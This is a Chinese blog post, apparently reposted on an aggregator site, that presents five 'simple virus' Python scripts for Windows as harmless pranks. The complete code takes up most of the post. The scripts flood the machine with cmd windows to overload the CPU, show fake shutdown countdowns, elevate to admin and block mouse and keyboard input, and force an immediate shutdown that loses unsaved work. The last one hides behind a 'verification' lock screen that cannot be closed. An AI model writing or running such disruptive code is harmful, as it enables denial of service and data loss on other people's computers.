Python-简单病毒程序合集(一)

news2024/11/22 14:23:58

前言:简单又有趣的Python恶搞代码,往往能给我们枯燥无味的生活带来一点乐趣,激发我们对编程的最原始的热爱。那么话不多说,我们直接开始今天的编程之路。

编程思路:本次我们将会用到os,paltform,threading,ctypes,sys,wmi等库

一:无限弹窗

import os

while True:
    os.system('start cmd')

程序解释:这段代码将执行os库无限打开"cmd"窗口的命令,导致电脑CPU负载过大,电脑风扇直接起飞,系统出现严重卡顿。

运行效果:

fde9565cba41442799cf283caa2ed4b4.jpg

 

 

二:伪关机倒计时

import tkinter
import os
import threading
import time
import random
import platform



s=['red','orange','yellow','green','blue',
   'teal','purple','peru','gold','violet',
   'salmon','navy','tan','maroon','azure']

begin=12
def count_down():
    seconds=[]
    for i in range(begin,0,-1):
        seconds.append(i)
    return seconds

def windows():
    while len(count_down())>0:
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                    platform.machine(),
                    platform.node(),
                    platform.version()))
        window.geometry("{}x{}".format(1160,600))
        number=random.randint(0,14)
        tkinter.Label(window,
             text='{}系统将在{}秒后自动关机'.format(platform.system(),count_down()[0])*1,
             font=('楷体',30),
             bg='{}'.format(s[number]),
             width=1160,
             height=600
             ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


while begin>0:
    mark=threading.Thread(target=windows)
    mark.start()
    time.sleep(1)
    begin-=1

程序解释:程序运行后将会出现12->0的倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机)

运行效果:

73d5b3ced686432ca8a574e2dedc4cce.jpg

 

三:伪关机倒计时(进阶版)

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform



def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():

    user32 = ctypes.WinDLL('user32.dll')
    user32.BlockInput(True)

    begin = 12
    s = ['red', 'orange', 'yellow', 'green', 'blue',
         'teal', 'purple', 'peru', 'gold', 'violet',
         'salmon', 'navy', 'tan', 'maroon', 'azure']


    def count_down():
        seconds = []
        for i in range(begin, 0, -1):
            seconds.append(i)
        return seconds


    def windows():
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                                                 platform.machine(),
                                                 platform.node(),
                                                 platform.version()))
        window.geometry("{}x{}".format(1160, 600))
        number = random.randint(0, 14)
        tkinter.Label(window,
                      text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                      font=('楷体', 30),
                      bg='{}'.format(s[number]),
                      width=1160,
                      height=600
                      ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


    while begin > 0:
        mark = threading.Thread(target=windows)
        mark.start()
        time.sleep(1)
        begin -= 1

    time.sleep(0)
    user32.BlockInput(False)
    
else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
    

程序解释:程序运行之后将会让用户选择是否允许系统修改用户设备,如果用户点击“是”,则程序会像上面代码一样:出现12→0倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机),最重要的是,系统还会禁止用户的一切物理操作(包括内,外接鼠标和键盘,但不包括触摸板),即鼠标键盘失效;如果用户点击“否”,则程序自动跳过。

运行效果:

fb7dc71f28994dc3bdcfc5243a0be145.jpg

 3ed7cc9b6db543088e34f6f675c5a926.png

 

四:强制关机时钟炸弹

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform



def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():

    user32 = ctypes.WinDLL('user32.dll')
    user32.BlockInput(True)

    begin = 12
    s = ['red', 'orange', 'yellow', 'green', 'blue',
         'teal', 'purple', 'peru', 'gold', 'violet',
         'salmon', 'navy', 'tan', 'maroon', 'azure']


    def count_down():
        seconds = []
        for i in range(begin, 0, -1):
            seconds.append(i)
        return seconds


    def windows():
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                                                 platform.machine(),
                                                 platform.node(),
                                                 platform.version()))
        window.geometry("{}x{}".format(1160, 600))
        number = random.randint(0, 14)
        tkinter.Label(window,
                      text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                      font=('楷体', 30),
                      bg='{}'.format(s[number]),
                      width=1160,
                      height=600
                      ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


    while begin > 0:
        mark = threading.Thread(target=windows)
        mark.start()
        time.sleep(1)
        begin -= 1

    time.sleep(0)
    user32.BlockInput(False)
    os.system('shutdown -f -s -t 0')


else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
    

程序解释:程序运行之后,就像“ 三:伪关机倒计时(进阶版) ”一样,但是这次倒计时结束后程序会真的执行关机执令(而且是强制关机),这意味着用户的临时文件和临时数据都会丢失

运行效果:

8b2c58131de04ab28ed3291f0d271f24.jpg

997b4bce31f84694b5c1ee5e26ce9891.png

987db65d67a04b408ecfac92a5e5c55c.jpg

 

五:验证入口枷锁(Boss)

from tkinter import *
from tkinter import ttk
import platform
import os
import time
import wmi
import random
import sys
import ctypes
import threading

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    # 验证失败处罚模块
    def punish_os():
        while True:
            os.system('start cmd')

    def punish_time():
        user32 = ctypes.WinDLL('user32.dll')
        user32.BlockInput(True)

        begin = 12
        s = ['red', 'orange', 'yellow', 'green', 'blue',
             'teal', 'purple', 'peru', 'gold', 'violet',
             'salmon', 'navy', 'tan', 'maroon', 'azure']

        def count_down():
            seconds = []
            for i in range(begin, 0, -1):
                seconds.append(i)
            return seconds

        def windows():
            window = Tk()
            window.title('{} {} {} {}警告!!!'.format(os.name,
                                                     platform.machine(),
                                                     platform.node(),
                                                     platform.version()))
            window.geometry("{}x{}".format(1160, 600))
            number = random.randint(0, 14)
            Label(window,
                          text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                          font=('楷体', 30),
                          bg='{}'.format(s[number]),
                          width=1160,
                          height=600
                          ).pack()
            window.mainloop()
            count_down().remove(count_down()[0])

        while begin > 0:
            mark = threading.Thread(target=windows)
            mark.start()
            time.sleep(1)
            begin -= 1

        time.sleep(0)
        user32.BlockInput(False)
        os.system('shutdown -f -s -t 0')





    # 入口访问信息校对模块
    def proofread():
        s = []
        x = os.environ.get('USERNAME')
        y = platform.machine()
        s.append(x)
        w = wmi.WMI()
        for CS in w.Win32_ComputerSystem():
            s.append(CS.Manufacturer)
        s.append(y)
        return s


    # 验证入口模块
    w = Tk()
    screen_width = w.winfo_screenwidth()
    screen_height = w.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    w.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))

    w.resizable(False, False)
    w.protocol("WM_DELETE_WINDOW", lambda: None)
    w.title('系统类型:{} 主机名:{} 系统版本号:{} 计算机类型:{}'.format(
        platform.system(), platform.node(),
        platform.version(), platform.machine()))
    style = ttk.Style()
    style.configure('TButton', font=28, relief='sunken', fg='gold', bg='blue')


    def close_root():
        w.destroy()


    Label(w, text='你已授权本程序以管理员权限',
          font=60, bg='white', ).pack(pady=20, fill='x')
    button1 = Button(text="用户身份验证入口按钮",
                     command=close_root, cursor='hand2').pack(pady=96, padx=80, side='left')
    button2 = Button(text="默认身份验证失败按钮",
                     command=punish_os, cursor='hand2').pack(pady=98, padx=80, side='left')
    w.configure(bg='blue')
    w.iconbitmap('info')
    w.mainloop()

    # 加载模块
    win = Tk()
    screen_width = win.winfo_screenwidth()
    screen_height = win.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    win.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))
    win.title('正在进入用户验证界面,请耐心等待!')
    win.protocol("WM_DELETE_WINDOW", lambda: None)
    win.resizable(False,False)
    win.iconbitmap('warning')

    percent = StringVar()
    percent_label = Label(win, textvariable=percent, bg='white', font=('Arial', 20))
    percent_label.pack(fill='x', pady=40)
    progress = ttk.Progressbar(win, mode='determinate', orient='horizontal', length=370)
    progress.pack(pady=40)
    def start():
        progress.start()
    def stop():
        progress.stop()
    button3 = Button(win, text='Start(继续)',
                     cursor='hand2', command=start).pack(side='left', padx=116)
    button4 = Button(win, text='Stop(暂停)',
                     cursor='hand2', command=stop).pack(side='left', padx=110)


    def do_work():
        total = 48
        for i in range(total):
            progress.step(100 / total)
            percent.set('{:.0f}%'.format(progress['value']))
            win.update_idletasks()
            time.sleep(0.5)


    def close_win():
        win.destroy()


    do_work()
    close_win()
    win.mainloop()

    # 验证主体模块
    win = Tk()
    screen_width = win.winfo_screenwidth()
    screen_height = win.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    win.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))
    win.title('你有10分钟的时间输入相关验证信息,完成后先点击"核对完成"再点击"确认提交"!!!')
    win.iconbitmap('error')
    win.configure(bg='violet', cursor='hand2')
    win.resizable(False, False)


    def close_win():
        win.destroy()


    var_1 = StringVar()
    var_2 = StringVar()
    var_3 = StringVar()

    # 创建第一个标签和Entry
    label1 = Label(win, text="本机用户名")
    label1.pack(padx=80, pady=5)
    entry1 = Entry(win, textvariable=var_1)
    entry1.pack(padx=80, pady=5)


    # 创建第一个清除按钮
    def clear_entry1():
        entry1.delete(0, END)


    clear_button1 = Button(win, text="清除键1", command=clear_entry1)
    clear_button1.pack(padx=80, pady=10)

    # 创建第二个标签和Entry
    label2 = Label(win, text="本机生产商")
    label2.pack(padx=80, pady=5)
    entry2 = Entry(win, textvariable=var_2)
    entry2.pack(padx=80, pady=5)


    # 创建第二个清除按钮
    def clear_entry2():
        entry2.delete(0, END)


    clear_button2 = Button(win, text="清除键2", command=clear_entry2)
    clear_button2.pack(padx=80, pady=10)

    # 创建第三个标签和Entry
    label3 = Label(win, text="计算机类型")
    label3.pack(padx=80, pady=0)
    entry3 = Entry(win, textvariable=var_3)
    entry3.pack(padx=80, pady=0)


    # 创建第三个清除按钮
    def clear_entry3():
        entry3.delete(0, END)


    clear_button3 = Button(win, text="清除键3", command=clear_entry3)
    clear_button3.pack(padx=80, pady=10)


    def get_info():
        x = var_1.get()
        y = var_2.get()
        z = var_3.get()
        s = [x, y, z]
        return s


    start_time = time.time()
    Button(win, text='核对完成', command=get_info).pack(padx=120, pady=0, side='left')
    Button(win, text='确认提交', command=close_win).pack(padx=120, pady=0, side='left')

    win.mainloop()
    end_time = time.time()

    if get_info()[0:3] == proofread() and end_time - start_time <= 600:
       pass
    else:
        punish_time()


else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,首先会同上面一样,让用户选择是否允许系统修改用户设备,如果用户点击“是”,那么程序会先弹出来一个界面:让用户选择“用户验证入口”,还是“默认验证失败”。如果用户点击“默认验证失败按钮”,那么系统会执行惩罚:无限弹窗(同一);如果用户点击“用户验证入口按钮”,该窗口关闭,新窗口打开。程序进入加载验证模块阶段,界面上会显示加载进度,用户可选择“Stop(暂停)”或“Start(继续)”来控制进度条进度,进度条满100%后,该窗口关闭,新窗口打开。你以为这就完了,其实这两个窗口是无法关闭的,用户必须作出选择。进入第三个窗口,程序会让用户按照窗口标题提示填写相关信息(只给600秒时间),填写完毕后,程序计算所用时间并校对信息,两者都符合规定则程序跳过,否则程序执行惩罚:“ 四:强制关机时钟炸弹”。

运行效果:

8647b13fc6ce4ba99774085f05aaf541.jpg

340baf8ef75e404fafa8947f46e13d29.png

e81d44a35fd34d6f9cf8f276a6011ae5.png

2ed0a4fffe4f45a7a22fe03984a53a71.png

验证通过(如下所示):

ff7b14e4d5d0449bb08a0ff70598d236.png

验证失败(如下所示):

aefc10e5b9cb478e942271189b62047c.png

a996f634a5404effaa6f8d64b94331db.jpg

OK!今天的分享到此结束啦!

下期我会优化本章代码,并带来新程序哦。

期待你的教流指教,我是闪云-微星,我们下期不见不散!

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2244623.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ForEach刷新UI机制

官网地址&#xff1a;ForEach 在ArkUI中&#xff0c;提供了ForEach循环语句&#xff0c;用来初始化一个列表数据&#xff0c;我们知道&#xff0c;当ForEach中的数组发生变化时&#xff0c;会引起UI的刷新&#xff0c;但是究竟如何变化&#xff0c;会引起UI怎样的刷新&#xf…

如何解决pdf.js跨域从url动态加载pdf文档

摘要 当我们想用PDF.js从URL加载文档时&#xff0c;将会因遇到跨域问题而中断&#xff0c;且是因为会触发了PDF.js和浏览器的双重CORS block&#xff0c;这篇文章将会介绍&#xff1a;①如何禁用pdf.js的跨域&#xff1f;②如何绕过浏览器的CORS加载URL文件&#xff1f;②如何使…

Three.js 相机控制器Controls

在 3D 场景中&#xff0c;摄像机的控制尤为重要&#xff0c;因为它决定了用户如何观察和与场景互动。Three.js 提供了多种相机控制器&#xff0c;最常用的有 OrbitControls、TrackballControls、FlyControls 和 FirstPersonControls。OrbitControls 适合用于查看和检查 3D 模型…

C++小白实习日记——Day 5 gitee怎么删文件,测试文件怎么写循环

昨晚一直内耗&#xff0c;一个程序写了三天写不出来&#xff0c;主要是耗时太多了&#xff0c;老板一直不满意。想在VScode上跑一下&#xff0c;昨晚一直报错。今天来公司重新搞了一下&#xff0c; 主要工作有&#xff1a; 1&#xff0c;读取当前时间用tscns 2&#xff0c;输…

【从零开始的LeetCode-算法】3301. 高度互不相同的最大塔高和

给你一个数组 maximumHeight &#xff0c;其中 maximumHeight[i] 表示第 i 座塔可以达到的 最大 高度。 你的任务是给每一座塔分别设置一个高度&#xff0c;使得&#xff1a; 第 i 座塔的高度是一个正整数&#xff0c;且不超过 maximumHeight[i] 。所有塔的高度互不相同。 请…

利用uniapp开发鸿蒙:运行到鸿蒙模拟器—踩坑合集

从uniapp运行到鸿蒙模拟器上这一步&#xff0c;就有非常多的坑&#xff0c;一些常见的坑&#xff0c;官网都有介绍&#xff0c;就不再拿出来了&#xff0c;这里记录一下官网未记录的大坑 1.运行路径从hbuilderx启动鸿蒙模拟器 解决方法&#xff1a; Windows系统&#xff0c;官…

基于UDP和TCP实现回显服务器

目录 一. UDP 回显服务器 1. UDP Echo Server 2. UDP Echo Client 二. TCP 回显服务器 1. TCP Echo Server 2. TCP Echo Client 回显服务器 (Echo Server) 就是客户端发送什么样的请求, 服务器就返回什么样的响应, 没有任何的计算和处理逻辑. 一. UDP 回显服务器 1. UD…

游戏引擎学习第17天

视频参考:https://www.bilibili.com/video/BV1LPUpYJEXE/ 回顾上一天的内容 1. 整体目标&#xff1a; 处理键盘输入&#xff1a;将键盘输入的处理逻辑从平台特定的代码中分离出来&#xff0c;放入更独立的函数中以便管理。优化消息循环&#xff1a;确保消息循环能够有效处理 …

Ubuntu常见命令

关于export LD_LIBRARY_PATHcmake默认地址CMakelists.txt知识扩充/home&#xff1a;挂载新磁盘到 /home 子目录 关于export LD_LIBRARY_PATH 程序运行时默认的依赖库的位置包括lib, /usr/lib ,/usr/local/lib 通过命令export LD_LIBRARY_PATHdesired_path:$LD_LIBRARY_PATH追加…

Linux驱动开发快速入门——字符设备驱动(直接操作寄存器设备树版)

Linux驱动开发快速入门——字符设备驱动 前言 笔者使用开发板型号&#xff1a;正点原子的IMX6ULL-alpha开发板。ubuntu版本为&#xff1a;20.04。写此文也是以备忘为目的。 字符设备驱动 本小结将以直接操作寄存器的方式控制一个LED灯&#xff0c;可以通过read系统调用可以…

论文阅读 SeedEdit: Align Image Re-Generation to Image Editing

目录 摘要 1 INTRODUCTION 2 SEEDEDIT 2.1 T2I MODEL FOR EDITING DATA GENERATION 2.2 CAUSAL DIFFUSION MODEL WITH IMAGE INPUT 2.3 ITERATIVE ALIGNMENT 3 EXPERIMENTS 3.1 BENCHMARK AND METRICS 3.2 IMAGE EDITING COMPARISON 4 CONCLUSION 摘要 SeedEdit&…

代码随想录算法训练营day41|动态规划04

最后一块石头的重量|| 返回剩余最后一块石头石头最小的可能重量&#xff0c;那么就应该最后剩余的两块石头尽量都等于或接近总重量的一半&#xff0c;这样剩下的就是一半的质量 目标和 给定一个非负整数数组&#xff0c;a1, a2, …, an, 和一个目标数&#xff0c;S。现在你有…

【C++】绘制内存管理的地图

生活是属于每个人自己的感受&#xff0c;不属于任何人的看法。 前言 这是我自己学习C的第二篇博客总结。后期我会继续把C学习笔记开源至博客上。 上一期笔记是关于C的类与对象础知识&#xff0c;没看的同学可以过去看看&#xff1a; 【C】面向对象编程的艺术之旅-CSDN博客https…

【AI大模型引领变革】探索AI如何重塑软件开发流程与未来趋势

文章目录 每日一句正能量前言流程与模式介绍【传统软件开发 VS AI参与的软件开发】一、传统软件开发流程与模式二、AI参与的软件开发流程与模式三、AI带来的不同之处 结论 AI在软件开发流程中的优势、挑战及应对策略AI在软件开发流程中的优势面临的挑战及应对策略 结论 后记 每…

前端访问后端实现跨域

背景&#xff1a;前端在抖音里做了一个插件然后访问我们的后端。显然在抖音访问其他域名肯定会跨域。 解决办法&#xff1a; 1、使用比较简单的jsonp JSONP 优点&#xff1a;JSONP 是通过动态创建 <script> 标签的方式加载外部数据&#xff0c;属于跨域数据请求的一种…

《Vue零基础入门教程》第二课:搭建开发环境

往期内容&#xff1a; 《Vue零基础入门教程》第一课&#xff1a;Vue简介 1 搭建开发环境 Vue环境分为两种 不使用构建工具使用构建丁具 首先&#xff0c;我们会介绍 不使用构建工具 的环境,在组件化章节中介绍 使用构建工具 的方式 1) 初始化 使用如下指令初始化 npm i…

快速排序【hoare版】

目录 介绍 算法思路 函数实现 函数声明 确定基准值 创建新函数 创建循环找数据&#xff08;right&#xff0c;left&#xff09; 交换左右数据 交换条件设置 外部循坏条件设置 初步总结代码 循环条件完善 内层循环的完善 外层循环的完善 相遇值大于keyi 相遇值等于k…

oracle导入线上数据的全步骤

多租户架构允许oracle数据库成为一个多租户的容器数据库&#xff0c;也就是CDB&#xff0c;container database&#xff0c;与之相对应的&#xff0c;则是插入到这个容器里面的可插拔式数据库&#xff0c;pluggable database 一个CDB可以包含0&#xff0c;1或者多个用户创建的…

嵌入式硬件实战基础篇(三)-四层板PCB设计-步进电机驱动(TMC2208/TMC2209)

引言&#xff1a;我们在嵌入式硬件杂谈&#xff08;三&#xff09;中有提到阻抗匹配的问题&#xff0c;也引入了高速PCB设计的思想&#xff0c;并且此篇实战基础篇主要是基础的四层板的绘制设计&#xff0c;后续实战会对高速板展开&#xff0c;本篇主要是提升读者的设计PCB板的…

uniapp 选择 省市区 省市 以及 回显

从gitee仓库可以拿到demo 以及 json省市区 文件 // 这是组件部分 <template><uni-popup ref"popup" type"bottom"><view class"popup"><view class"picker-btn"><view class"left" click"…